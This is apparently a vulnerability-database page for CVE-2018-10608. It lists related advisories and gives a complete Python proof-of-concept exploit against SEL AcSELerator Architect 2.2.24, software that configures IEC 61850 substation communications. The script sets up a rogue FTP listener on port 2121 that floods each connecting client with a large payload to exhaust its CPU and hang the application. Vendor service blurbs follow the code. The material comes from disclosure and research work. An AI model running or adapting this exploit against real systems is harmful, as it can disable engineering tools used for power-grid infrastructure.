| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| SEL AcSELerator Architect 2.2.24 - CPU Exhaustion Denial of Service Exploit | 16 May 201900:00 | – | zdt | |
| SEL AcSELerator Architect Denial of Service Vulnerability | 11 Jul 201800:00 | – | cnvd | |
| CVE-2018-10608 | 24 Jul 201813:00 | – | cve | |
| CVE-2018-10608 | 24 Jul 201813:00 | – | cvelist | |
| EUVD-2018-2680 | 7 Oct 202500:30 | – | euvd | |
| Schweitzer Engineering Laboratories, Inc. Compass and AcSELerator Architect | 10 Jul 201800:00 | – | ics | |
| CVE-2018-10608 | 24 Jul 201813:29 | – | nvd | |
| CVE-2018-10608 | 24 Jul 201813:29 | – | osv | |
| Design/Logic Flaw | 24 Jul 201813:29 | – | prion | |
| SEL (CVE-2018-10608) (deprecated) | 7 Feb 202200:00 | – | nessus |
`#!/usr/bin/env python
# coding: utf8
#
#
# SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service
#
#
# Vendor: Schweitzer Engineering Laboratories, Inc.
# Product web page: https://www.selinc.com
# Affected version: 2.2.24.0 (ICD package version: 2.38.0)
#
# Summary: Substation communications networks using the IEC 61850
# MMS and GOOSE protocols require a systemic methodology to configure
# message publications and subscriptions. acSELerator Architect
# SEL-5032 Software is a Microsoft Windows application that streamlines
# the configuration and documentation of IEC 61850 control and SCADA
# communications.
#
# Description: AcSELerator Architect is prone to a denial-of-service (DoS)
# vulnerability. An attacker may exploit this issue to cause CPU exhaustion,
# resulting in application rendered non-responsive (AppHangB1 event).
#
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
#
# Advisory: https://applied-risk.com/index.php/download_file/view/106/165
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-18-191-02
# CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10608
#
# 22.02.2018
#
from pwn import *
cool_data = '\x4A' * 54321
def bunn():
print """
####################################
SEL AcSELerator Architect 2.2.24.0
FTP Client Remote CPU Exhaustion
(c) 2018
####################################
"""
def main():
p = listen(2121)
try:
log.warn('Payload ready for deployment...(Ctrl-C for exit)\n')
while True:
p.wait_for_connection()
if p:
sys.stdout.write('▓≡')
p.send(cool_data)
except KeyboardInterrupt:
p.success('OK!')
p.close()
except EOFError:
print "Unexpected error brah:", sys.exc_info()[0]
p.close()
if __name__ == '__main__':
bunn()
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation